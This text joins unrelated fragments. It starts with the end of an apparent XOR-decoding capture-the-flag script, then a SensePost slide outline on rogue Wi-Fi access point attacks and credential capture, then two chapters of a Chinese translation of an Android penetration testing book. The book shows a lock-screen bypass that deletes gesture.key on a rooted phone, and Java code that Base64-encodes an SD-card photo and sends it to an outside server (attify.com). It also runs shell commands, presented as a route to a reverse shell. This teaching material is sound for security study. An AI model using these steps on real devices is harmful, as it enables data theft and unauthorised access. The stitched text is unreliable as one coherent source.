,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,20 0,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100, 51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,19 2,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,2 08,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48 ,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,1 54,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164, 193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101, 51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186, 153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151 ,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57 ,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97 ,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,20 6,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97, 52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,1 01,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,2 05,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,5 7,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57 ,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201, 198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99 ,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51, 99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156 ,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48, 49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,9 9,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,19 0,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,5 5,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97, 102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,2 03,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202, 205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,9 8,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154, 132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193 ,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49, 102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215 ,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,14 6,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,5 6,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,15 8,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,2 02,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98 ,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,1 61,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204, 190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,1 01,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149, 206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210 ,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53 ,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204 ,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,20 0,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100, 51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,19 2,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,2 08,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48 ,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,1 54,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151,164, 193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101, 51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186, 153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,206,151 ,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57 ,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97 ,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,20 6,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97, 52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,1 01,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,195,2 00,203,146,161,196,213,205,215,201,187,207,151,196,207,200] r = '' for i in xrange(len(keystream)): r += chr(data[i] ^ keystream[i]) print r IPython.embed() return main()
pdf
Manna From Heaven! Improving the state of rogue AP attacks! Turn your wifi off!! Our intention is to demonstrate our research findings, not to cause any damage. We have taken precautions, but some danger is inherent to such live demos. Please turn off your wifi now if you would not like to be involved. If you decide not to, then you do so at your own risk and we take your continued presence as your consent.! SensePost" " We" Hack | Build | Train | Scan" Stuff" ! Ian de Villiers! [email protected]! @iandvl! ! ! Dominic White! [email protected]! @singe! Why Wifi! Creds from the Sky! The Current State! Targeted Wifi Primer! Finding Networks! Simple Association! KARMA Attacks! How KARMA Works! Not so well anymore! Build PNL & Respond to Broadcasts! Disclaimer! On Probes! Hidden Networks & Loud Mode! Secure Networks! Auto Crack ‘n Add! PEAP! Man In The Middle! Non-SSL Protocols - SSLSplit! Fake It until you Make It! Captive Portal SE! Side Loading Evil Certs! HSTS Partial Bypass" by LeonardoNVE! FireSheep ReBorn as FireLamb! Lots of MitM! Online Check Bypass! Creds! Cookies (FireLamb)! Cert Sideloading! HSTS Partial Bypass! Captive Portal SE! Creds from the Sky! More Info! Blog: www.sensepost.com/blog! ! Tools: github.com/sensepost! !github.com/sensepost/mana! !github.com/sensepost/hostapd-mana! !github.com/sensepost/firelamb! !github.com/sensepost/crackapd! !github.com/sensepost/sslstrip-hsts! ! SlideShare: slideshare.net/sensepost !
pdf
1.1 1.2 1.3 1.4 1.5 1.6 1.7 1.8 1.9 1.10 目錄 Android渗透测试学习手册中文版 第一章Android安全入门 第二章准备实验环境 第三章Android应用的逆向和审计 第四章对Android设备进行流量分析 第五章Android取证 第六章玩转SQLite 第七章不太知名的Android漏洞 第八章ARM利用 第九章编写渗透测试报告 2 Android渗透测试学习手册中文版 原书:LearningPentestingforAndroidDevices 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 代码仓库 赞助我 协议 CCBY-NC-SA4.0 Android渗透测试学习手册中文版 3 第一章Android安全入门 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 Android是当今最流行的智能手机操作系统之一。随着人气的增加,它存在很多安全风险, 这些风险不可避免地被引入到应用程序中,使得用户本身受到威胁。我们将在本书中以方法 论和循序渐进的方式来讨论Android应用程序安全性和渗透测试的各个方面。 本章的目标是为Android安全打下基础,以便在以后的章节中使用。 1.1Android简介 自从Android被谷歌收购(2005年),谷歌已经完成了整个开发,在过去的9年里,尤其是 在安全方面,有很多变化。现在,它是世界上最广泛使用的智能手机平台,特别是由于不同 的手机制造商,如LG,三星,索尼和HTC的支持。Android的后续版本中引入了许多新概 念,例如GoogleBouncer和GoogleAppVerifier。我们将在本章逐一介绍它们。 如果我们看看Android的架构,如下图所示,我们将看到它被分为四个不同的层。在它的底 部是Linux内核,它已被修改来在移动环境中获得更好的性能。Linux内核还必须与所有硬件 组件交互,因此也包含大多数硬件驱动程序。此外,它负责Android中存在的大多数安全功 能。由于Android基于Linux平台,它还使开发人员易于将Android移植到其他平台和架 构。Android还提供了一个硬件抽象层,供开发人员在Android平台栈和他们想要移植的硬 件之间创建软件钩子。 在Linux内核之上是一个层级,包含一些最重要和有用的库,如下所示: SurfaceManager:管理窗口和屏幕媒体框架:这允许使用各种类型的编解码器来播放和记 录不同的媒体SQLite:这是一个较轻的SQL版本,用于数据库管理WebKit:这是浏览器渲 染引擎OpenGL:用于在屏幕上正确显示2D和3D内容 以下是来自Android开发人员网站的Android架构的图形表示: 第一章Android安全入门 4 Android中的库是用C和C++编写的,其中大多数是从Linux移植的。与Linux相比, Android中的一个主要区别是,在这里没有 libc库,它用于Linux中的大多数任务。相反, Android有自己的称为 bionic的库,我们可以认为它是一个剥离和修改后的,用于Android 的libc版本。 在同一层级,还有来自Android运行时--Dalvik虚拟机和核心库的组件。我们将在本书的下 一部分中讨论关于Dalvik虚拟机的很多内容。 在这个层之上,有应用程序框架层,它支持应用程序执行不同类型的任务。 此外,开发人员创建的大多数应用程序只与第一层和最顶层的应用程序交互。该架构以一种 方式设计,在每个时间点,底层都支持上面的层级。 早期版本的Android(<4.0)基于Linux内核2.6.x,而较新版本基于内核3.x.不同的 Android版本和他们使用的Linux内核的列表规定如下: 第一章Android安全入门 5 Android中的所有应用程序都在虚拟环境下运行,这称为Dalvik虚拟机(DVM)。这里需要 注意的一点是,从Android4.4版本开始,还有另一个运行时称为Android运行时(ART), 用户可以在DVM和ART运行时环境之间自由切换。 然而,对于这本书,我们将只关注Dalvik虚拟机实现。它类似于Java虚拟机(JVM),除 了基于寄存器的特性,而不是基于堆栈的特性。因此,运行的每个应用程序都将在自己的 Dalvik虚拟机实例下运行。因此,如果我们运行三个不同的应用程序,将有三个不同的虚拟 实例。现在,这里的重点是,即使它为应用程序创建一个虚拟环境来运行,它不应该与安全 容器或安全环境混淆。DVM的主要焦点是与性能相关,而不是与安全性相关。 Dalvik虚拟机执行一个名为 .dex或Dalvik可执行文件的文件格式。我们将进一步查 看 .dex文件格式,并将在下面的章节中进行分析。现在让我们继续与adb进行交互,并更 深入地分析Android设备及其体系结构。 1.2深入了解Android 如果你有Android设备或正在运行Android模拟器,则可以使用AndroidSDK本身提供的工具 (称为adb)。我们将在第二章详细讨论adb。现在,我们将只设置SDK,我们已经准备好 了。 一旦设备通过USB连接,我们可以在我们的终端中输入adb,这将显示所连接设备的序列号 列表。请确保你已在设备设置中启用了USB调试功能。 $adbdevices Listofdevicesattached emulator-5554device 提示 下载示例代码 你可以从 http://www.packtpub.com下载你从帐户中购买的所有Packt图书的示例代码文 件。如果你在其他地方购买此书,则可以访问 http://www.packtpub.com/support并注册 以将文件直接发送给你。 现在,如我们之前所见,Android是基于Linux内核的,所以大多数Linux命令在Android上 也可以通过adbshell完美运行。adbshell为你提供与设备的shell直接交互,你可以在其中 执行命令和执行操作以及分析设备中存在的信息。为了执行shell,只需要键入以下命令: adbshell. 一旦我们在shell中,我们可以运行 ps为了列出正在运行的进程: 第一章Android安全入门 6 如你所见, ps将列出当前在Android系统中运行的所有进程。如果仔细看,第一列制定了 用户名。在这里我们可以看到各种用户名,如 system, root, radio和一系列以 app_开 头的用户名。正如你可能已经猜到的,以 system名称运行的进程由系统拥有, root作为根 进程运行, radio是与电话和无线电相关的进程, app_进程是用户已下载的所有应用程序, 安装在他们的设备上并且当前正在运行。因此,就像在Linux中用户确定了当前登录到系统 的唯一用户一样,在Android中,用户标识了在自己的环境中运行的应用/进程。 所以,Android安全模型的核心是Linux特权分离。每次在Android设备中启动新应用程序 时,都会为其分配唯一的用户ID(UID),该用户ID将之后会属于某些其他预定义组。 与Linux类似,用作命令的所有二进制文件都位于 /system/bin和 /system/xbin。此外,我 们从Play商店或任何其他来源安装的应用程序数据将位于 /data/data,而其原始安装文件 (即 .apk)将存储在 /data/app。此外,还有一些应用程序需要从Play商店购买,而不是 只是免费下载。这些应用程序将存储在 /data/app-private/。 Android安装包(APK)是Android应用程序的默认扩展名,它只是一个归档文件,包含应用 程序的所有必需文件和文件夹。我们在后面的章节中将继续对 .apk文件进行逆向工程。 现在,让我们访问 /data/data,看看里面有什么。这里需要注意的一点是,为了在真实设备 上实现,设备需要root并且必须处于 su模式: #cd/data/data #ls com.aditya.facebookapp com.aditya.spinnermenu com.aditya.zeropermission com.afe.socketapp com.android.backupconfirm com.android.browser com.android.calculator2 com.android.calendar com.android.camera com.android.certinstaller com.android.classic com.android.contacts com.android.customlocale2 第一章Android安全入门 7 所以,我们可以在这里看到,例如, com.aditya.facebookapp,是单独的应用程序文件夹。 现在,你可能会想知道为什么它是用点分隔的单词风格,而不是常见的文件夹名称, 如 FacebookApp或 CameraApp。因此,这些文件夹名称指定各个应用程序的软件包名称。软 件包名称是应用程序在Play商店和设备上标识的唯一标识符。例如,可能存在具有相同名称 的多个相机应用或计算器应用。因此,为了唯一地标识不同的应用,使用包名称约定而不是 常规应用名称。 如果我们进入任何应用程序文件夹,我们会看到不同的子文件夹,例如文件( files),数 据库( databases)和缓存( cache),稍后我们将在第3章“逆向和审计Android应用程 序”中查看。 shell@android:/data/data/de.trier.infsec.koch.droidsheep#ls cache databases files lib shell@android:/data/data/de.trier.infsec.koch.droidsheep# 这里需要注意的一个重要的事情是,如果手机已经root,我们可以修改文件系统中的任何文 件。对设备获取root意味着我们可以完全访问和控制整个设备,这意味着我们可以看到以及 修改任何我们想要的文件。 最常见的安全保护之一是大多数人都想到的是模式锁定或pin锁,它默认存在于所有Android 手机。你可以通过访问 Settings|Security|ScreenLock来配置自己的模式。 一旦我们设置了密码或模式锁定,我们现在将继续,将手机与USB连接到我们的系统。现 在,密码锁的密钥或模式锁的模式数据以名称 password.key或 gesture.key存储 在 /data/system。注意,如果设备被锁定,并且USB调试被打开,你需要一个自定义引导 加载程序来打开USB调试。整个过程超出了本书的范围。要了解有关Android的更多信 息,请参阅ThomasCannonDigging的Defcon演示。 因为破解密码/模式将更加艰难,并且需要暴力(我们将看到如何解密实际数据),我们将简 单地继续并删除该文件,这将从我们手机中删除模式保护: shell@android:/data#cd/data/system shell@android:/data/system#rmgesture.key 所以,我们可以看到,一旦手机被root,几乎任何东西都可以只用手机、一根USB电缆和一 个系统来完成。我们将在本书的后续章节中更多地了解基于USB的利用。 1.3沙箱和权限模型 为了理解Android沙箱,让我们举一个例子,如下图: 第一章Android安全入门 8 如前图所示和前面所讨论的,Android中的每个应用程序都在其自己的Dalvik虚拟机实例中 运行。这就是为什么,无论何时任何应用程序在我们的设备中崩溃,它只是显示强制关闭或 等待选项,但其他应用程序继续顺利运行。此外,由于每个应用程序都在其自己的实例中运 行,因此除非内容提供者另有规定,否则将无法访问其他应用程序的数据。 Android使用细粒度的权限模型,这需要应用程序在编译最终应用程序包之前预定义权限。 你必须注意到,每次从Play商店或任何其他来源下载应用程序时,它会在安装过程中显示一 个权限屏幕,它类似于以下屏幕截图: 第一章Android安全入门 9 此权限屏幕显示应用程序可以通过手机执行的所有任务的列表,例如发送短信,访问互联网 和访问摄像头。请求多于所需的权限使应用程序成为恶意软件作者的更具吸引力的目标。 Android应用程序开发人员必须在开发应用程序时在名为 AndroidManifest.xml的文件中指定 所有这些权限。此文件包含各种应用程序相关信息的列表,例如运行程序所需的最低 Android版本,程序包名称,活动列表(应用程序可见的应用程序中的界面),服务(应用程 序的后台进程),和权限。如果应用程序开发人员未能在 AndroidManifest.xml文件中指定 权限,并仍在应用程序中使用它,则应用程序将崩溃,并在用户运行它时显示强制关闭消 息。 一个正常的 AndroidManifest.xml文件看起来像下面的截图所示。在这里,你可以使 用 <uses-permission>标记和其他标记查看所需的不同权限: 如前所述,所有Android应用程序在安装后首次启动时都会分配一个唯一的UID。具有给定 UID的所有用户都属于特定组,具体取决于他们请求的权限。例如,一个仅请求Internet权 限的应用程序将属于 inet组,因为Android中的Internet权限位于 inet组下。 第一章Android安全入门 10 用户(在这种情况下的应用程序)可以属于多个组,具体取决于他们请求的权限。或者换句 话说,每个用户可以属于多个组,并且每个组可以具有多个用户。这些组具有由组 ID(GID)定义的唯一名称。然而,开发人员可以明确地指定其他应用程序在与第一个相同 的UID下运行。在我们的设备中,其中的组和权限在文件 platform.xml中指定,它位 于 /system/etc/permissions/: shell@grouper:/system/etc/permissions$catplatform.xml <permissions> ... <!--==================================================================--> <!--Thefollowingtagsareassociatinglow-levelgroupIDswith permissionnames.Byspecifyingsuchamapping,youaresaying thatanyapplicationprocessgrantedthegivenpermissionwill alsoberunningwiththegivengroupIDattachedtoitsprocess, soitcanperformanyfilesystem(read,write,execute)operations allowedforthatgroup.--> <permissionname="android.permission.BLUETOOTH"> <groupgid="net_bt"/> </permission> <permissionname="android.permission.INTERNET"> <groupgid="inet"/> </permission> <permissionname="android.permission.CAMERA"> <groupgid="camera"/> </permission> ...[Someofthedatahasbeenstrippedfromhereinordertoshortentheoutputan dmakeitreadable] </permissions> 此外,这清除了对在Android设备中运行的本地应用程序的怀疑。由于本地应用程序直接与 处理器交互,而不是在Dalvik虚拟机下运行,因此它不会以任何方式影响整体安全模型。 现在,就像我们在前面部分看到的,应用程序将其数据存储 在 location/data/data/[packagename]。现在,存储应用程序数据的所有文件夹也具有相同 的用户ID,这构成Android安全模型的基础。根据UID和文件权限,它将限制来自具有不同 UID的其他应用程序对它的访问和修改。 在下面的代码示例中, ret包含以Base64格式编码存储在的SD卡中的图像,现在正在使 用浏览器调用来上传到 attify.com网站。目的只是找到一种方式来在两个不同的Android对 象之间进行通信。 我们将首先创建一个对象来存储图像,在Base64中编码,最后将其存储在一个字符串 中 imageString: 第一章Android安全入门 11 finalFilefile=newFile("/mnt/sdcard/profile.jpg"); Uriuri=Uri.fromFile(file); ContentResolvercr=getContentResolver(); BitmapbMap=null; try{ InputStreamis=cr.openInputStream(uri); bMap=BitmapFactory.decodeStream(is); if(is!=null){ is.close(); } }catch(Exceptione){ Log.e("Errorreadingfile",e.toString()); } ByteArrayOutputStreambaos=newByteArrayOutputStream(); bMap.compress(Bitmap.CompressFormat.JPEG,100,baos); byte[]b=baos.toByteArray(); StringimageString=Base64.encodeToString(b,Base64.DEFAULT); 最后,我们将启动浏览器将数据发送到我们的服务器,我们有一个 .php文件侦听传入的数 据: startActivity(newIntent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+im ageString))); 我们还可以执行命令并以相同的方式将输出发送到远程服务器。但是,这里需要注意的一点 是shell应该在应用程序的用户下运行: //Toexecutecommands: Stringstr="cat/proc/version";//commandtobeexecutedisstoredinstr. process=Runtime.getRuntime().exec(str); 这是一个有趣的现象,因为攻击者可以获得一个反向shell(这是一个从设备到系统的双向连 接,可以用于执行命令),而不需要任何类型的权限。 1.4应用签名 应用程序签名是Android的独特特性之一,由于其开放性和开发人员社区,它取得了成功。 Play商店中有超过一百万个应用。在Android中,任何人都可以通过下载AndroidSDK创建 Android应用,然后将其发布到Play商店。通常有两种类型的证书签名机制。一个是由管理 证书颁发机构(CA)签名的,另一个是自签名证书。没有中间证书颁发机构(CA),而开 发人员可以创建自己的证书并为应用程序签名。 在Apple的iOS应用程序模型中可以看到CA签名,其中开发者上传到AppStore的每个应 用程序都经过验证,然后由Apple的证书签名。一旦下载到设备,设备将验证应用程序是否 由Apple的CA签名,然后才允许应用程序运行。 第一章Android安全入门 12 但是,在Android中是相反的。没有证书颁发机构;而是开发人员的自创建证书可以签署应用 程序。应用程序上传完成后,会由GoogleBouncer进行验证,这是一个虚拟环境,用于检 查应用程序是否是恶意或合法的。检查完成后,应用就会显示在Play商店中。在这种情况 下,Google不会对该应用程序进行签名。开发人员可以使用AndroidSDK附带的工具(称 为 keytool)创建自己的证书,或者使用Eclipse的GUI创建证书。 因此,在Android中,一旦开发人员使用他创建的证书签名了应用程序,他需要将证书的密 钥保存在安全的位置,以防止其他人窃取他的密钥并使用开发人员的证书签署其他应用程序 。 如果我们有一个Android应用程序( .apk)文件,我们可以检查应用程序的签名,并找到使 用称为 jarsigner的工具签署应用程序的人,这个工具是AndroidSDK自带的: $jarsigner-verify-certs-verbosetesting.apk 以下是在应用程序上运行上述命令并获取签名的信息的屏幕截图: 此外,解压缩 .apk文件后,可以解析 META-INF文件夹中出现的 CERT.RSA文件的ASCII内 容,以获取签名,如以下命令所示: $unziptesting.apk $cdMETA-INF $opensslpkcs7-inCERT.RSA-print_certs-informDER-outout.cer $catout.cer 这在检测和分析未知的Android .apk示例时非常有用。因此,我们可以使用它获得签署人 以及其他详细信息。 1.5Android启动流程 在Android中考虑安全性时最重要的事情之一是Android启动过程。整个引导过程从引导加 载程序开始,它会反过来启动 init过程-第一个用户级进程。 所以,任何引导加载程序的变化,或者如果我们加载另一个,而不是默认存在的引导加载程 序,我们实际上可以更改在设备上加载的内容。引导加载程序通常是特定于供应商的,每个 供应商都有自己的修改版本的引导加载程序。通常,默认情况下,此功能通过锁定引导加载 程序来禁用,它只允许供应商指定的受信任内核在设备上运行。为了将自己的ROM刷到 Android设备,需要解锁引导加载程序。解锁引导加载程序的过程可能因设备而异。在某些 情况下,它也可能使设备的保修失效。 第一章Android安全入门 13 注 在Nexus7中,它就像使用命令行中的 fastboot工具一样简单,如下所示: $fastbootoemunlock 在其他设备中,可能需要更多精力。我们看看如何创建自己的Bootloader并在本书的后续章 节中使用它。 回到启动过程,在引导加载程序启动内核并启动 init之后,它挂载了Android系统运行所需 的一些重要目录,例如 /dev, /sys和 /proc。此外, init从配置文 件 init.rc和 init.[device-name].rc中获取自己的配置,在某些情况下从位于相同位置 的 .sh文件获取自己的配置。 如果我们对 init.rc文件执行 cat,我们可以看到 init加载自身时使用的所有规范,如下 面的截图所示: 第一章Android安全入门 14 init进程的责任是启动其他必需的组件,例如负责ADB通信和卷守护程序(vold)的adb 守护程序(adbd)。 加载时使用的一些属性位于 build.prop,它位于 location/system。当你在Android设备上 看到Androidlogo时,就完成了 init进程的加载。正如我们在下面的截图中可以看到的, 我们通过检查 build.prop文件来获取设备的具体信息: 一旦所有的东西被加载, init最后会加载一个称为Zygote的进程,负责以最小空间加载 Dalvik虚拟机和共享库,来加快整个进程的加载速度。此外,它继续监听对自己的新调用, 以便在必要时启动更多DVM。这是当你在设备上看到Android开机动画时的情况。 一旦完全启动,Zygote派生自己并启动系统,加载其他必要的Android组件,如活动管理 器。一旦完成整个引导过程,系统发送 BOOT_COMPLETED的广播,许多应用程序可能使用称为 广播接收器的Android应用程序中的组件来监听。当我们在第3章“逆向和审计Android应用 程序”中分析恶意软件和应用程序时,我们将进一步了解广播接收器。 总结 在本章中,我们为学习Android渗透测试建立了基础。我们还了解Android的内部结构及其 安全体系结构。 第一章Android安全入门 15 在接下来的章节中,我们将建立一个Android渗透测试实验室,并使用这些知识执行更多的 技术任务,来渗透Android设备和应用程序。我们还将了解有关ADB的更多信息,并使用它 来收集和分析设备中的信息。 第一章Android安全入门 16 第二章准备实验环境 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 在上一章中,我们了解了Android安全性及其体系结构的基础知识。在本章中,我们将了解 如何建立Android渗透测试实验环境,其中包括下载和配置AndroidSDK和Eclipse。我们 将深入了解ADB,并了解如何创建和配置Android虚拟设备(AVD)。 2.1建立开发环境 为了构建Android应用程序或创建Android虚拟设备,我们需要配置开发环境,以便运行这 些应用程序。因此,我们需要做的第一件事是下载Java开发工具包(JDK),其中包括 Java运行时环境(JRE): 1. 为了下载JDK,我们需要访 问 http://www.oracle.com/technetwork/java/javase/downloads/index.html,并根据我们所 在的平台下载JDK7。 就像下载它并运行下载的可执行文件一样简单。在以下屏幕截图中,你可以看到我的系 统上安装了Java: 2. 一旦我们下载并安装了JDK,我们需要在我们的系统上设置环境变量,以便可以从任何 路径执行Java。 对于Windows用户,我们需要右键单击 MyComputer(我的电脑)图标,然后选 择 Properties(属性)选项。 第二章准备实验环境 17 3. 接下来,我们需要从顶部选项卡列表中选择 Advancedsystemsettings(高级系统设置) 选项: 4. 一旦我们进入了 SystemProperties(系统属性)对话框,在右下角,我们可以看 到 EnvironmentVariables...(环境变量)选项。当我们点击它,我们可以看到另一个 窗口,包含系统变量及其值,在 Systemvariables(系统变量)部分下: 5. 在新的弹出对话框中,我们需要单击 Variables(变量)下的 PATH文本框,并键入 Java安装文件夹的路径: 第二章准备实验环境 18 对于MacOSX,我们需要编辑 /.bash_profile文件,并将Java的路径追加到 PATH变 量。 在Linux机器中,我们需要编辑 ./bashrc文件并附加环境变量行。这里是命令: $nano~/.bashrc $exportJAVA_HOME=`/usr/libexec/java_home-v1.6`orexportJAVA_HOME=`/usr/libex ec/java_home-v1.7` 你还可以通过从终端运行以下命令来检查Java是否已正确安装和配置: $java--version 6. 一旦我们下载并配置了Java的环境变量,我们需要执行的下一步是下 载 http://developer.android.com/sdk/index.html中提供的AndroidADT包。 ADT包是由Android团队准备的一个完整的包,包括配置了ADT插件,AndroidSDK工 具,Android平台工具,最新的Android平台和模拟器的Android系统映像的Eclipse。 这大大简化了早期下载和使用AndroidSDK配置Eclipse的整个过程,因为现在的一切 都已预先配置好了。 7. 一旦我们下载了ADT包,我们可以解压它,并打开Eclipse文件夹。 8. 启动时,ADT包将要求我们配置Eclipse的工作区。 workspace(工作空间)是所有 Android应用程序开发项目及其文件将被存储的位置。在这种情况下,我已将所有内容保 留默认,并选中 Usethisasthedefaultanddonotaskmeagain(使用此为默认值, 不再询问我)复选框: 第二章准备实验环境 19 9. 一旦完全启动,我们可以继续创建Android虚拟设备。Android虚拟设备是配置用于特 定版本的Android的模拟器配置。模拟器是与AndroidSDK软件包一起提供的虚拟设 备,通过它,开发人员可以运行正常设备的应用程序,并与他们在实际设备上进行交 互。这对于没有Android设备但仍然想创建Android应用程序的开发者也很有用。 注 这里要注意的一个有趣的特性是,在Android中,模拟器运行在ARM上,模拟的所有的事情 与真实设备完全相同。然而,在iOS中,我们的模拟器只是模拟环境,并不拥有所有相同组 件和平台。 2.2创建Android虚拟设备 为了创建Android虚拟设备,我们需要执行以下操作: 1. 访问Eclipse的顶部栏,然后点击Android图标旁边的设备图标。这将打开一个新 的 AndroidVirtualDeviceManager(Android虚拟设备管理器)窗口,其中包含所有虚 拟设备的列表。这是一个很好的选择,通过点击 New(新建)按钮,创建一个新的虚拟 设备。 2. 我们还可以通过从终端运行android命令并访问工具,然后管理AVD来启动Android虚 拟设备。或者,我们可以简单指定AVD名称,并使用模拟器 -avd[avd-name]命令来启 动特定的虚拟设备。 这会打开一个新窗口,其中包含需要为Android虚拟设备配置的所有属性(尚未创 建)。我们将配置所有选项,如下面的截图所示: 第二章准备实验环境 20 3. 一旦我们点击 OK并返回到AVD管理器窗口,我们将看到我们新创建的AVD。 4. 现在,只需选择新的AVD,然后单击 Start...(开始)来启动我们创建的虚拟设备。 它可能需要很长时间,来为你的第一次使用加载,因为它正在配置所有的硬件和软件配 置,来给我们真正的电话般的体验。 5. 在以前的配置中,为了节省虚拟设备的启动时间,选中 Snapshot复选框也是一个不错的 选择。 6. 一旦设备加载,我们现在可以访问我们的命令提示符,并使用android命令检查设备配 置。此二进制文件位于安装中的 /sdk/tools文件夹下的 adt-bundle文件夹中。 7. 我们还要设置位于 sdk文件夹中的 tools和 platform-tools文件夹的位置,就像我们之 前使用环境变量一样。 8. 为了获取我们系统中已连接(或加载)的设备的详细配置信息,可以运行以下命令: 第二章准备实验环境 21 androidlistavd 我们在下面的屏幕截图中可以看到,上面的命令的输出显示了我们系统中所有现有 Android虚拟设备的列表: 9. 我们现在将继续,使用ADB或AndroidDebugBridge开始使用设备,我们在上一章中 已经看到。我们还可以通过在终端中执行 emulator-avd[avdname]命令来运行模拟器。 2.3渗透测试实用工具 现在,让我们详细了解一些有用的Android渗透测试实用工具,如AndroidDebugBridge, BurpSuite和APKTool。 AndroidDebugBridge AndroidDebugBridge是一个客户端-服务器程序,允许用户与模拟器器或连接的Android 设备交互。它包括客户端(在系统上运行),处理通信的服务器(也在系统上运行)以及作 为后台进程在模拟器和设备上上运行的守护程序。客户端用于ADB通信的默认端口始终是 5037,设备使用从5555到5585的端口。 让我们继续,通过运行 adbdevices命令开始与启动的模拟器交互。它将显示模拟器已启动 并运行以及连接到ADB: C:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbdevices Listofdevicesattached emulator-5554device 在某些情况下,即使模拟器正在运行或设备已连接,你也不会在输出中看到设备。在这些情 况下,我们需要重新启动ADB服务器,杀死服务器,然后再次启动它: C:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbkill-server C:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbstart-server *daemonnotrunning.startingitnowonport5037* *daemonstartedsuccessfully* 第二章准备实验环境 22 我们还可以使用 pm(包管理器)工具获取所有已安装的软件包的列表,这可以在ADB中使 用: adbshellpmlistpackages 如下面的屏幕截图所示,我们将获得设备上安装的所有软件包的列表,这在以后的阶段可能 会有用: 此外,我们可以使用 dumpsysmeminfo然后是 adbshell命令,获取所有应用程序及其当前内 存占用的列表 我们还可以获取 logcat(这是一个读取Android设备事件日志的工具),并将其保存到特定 文件,而不是在终端上打印: adblogcat-d-f/data/local/logcats.log 第二章准备实验环境 23 此处的 -d标志指定转储完整日志文件的并退出, -f标志指定写入文件而不是在终端上打 印。这里我们使用 /data/local位置,而不是任何其他位置,因为这个位置在大多数设备中 是可写的。 我们还可以使用 df命令检查文件系统以及可用空间和大小: 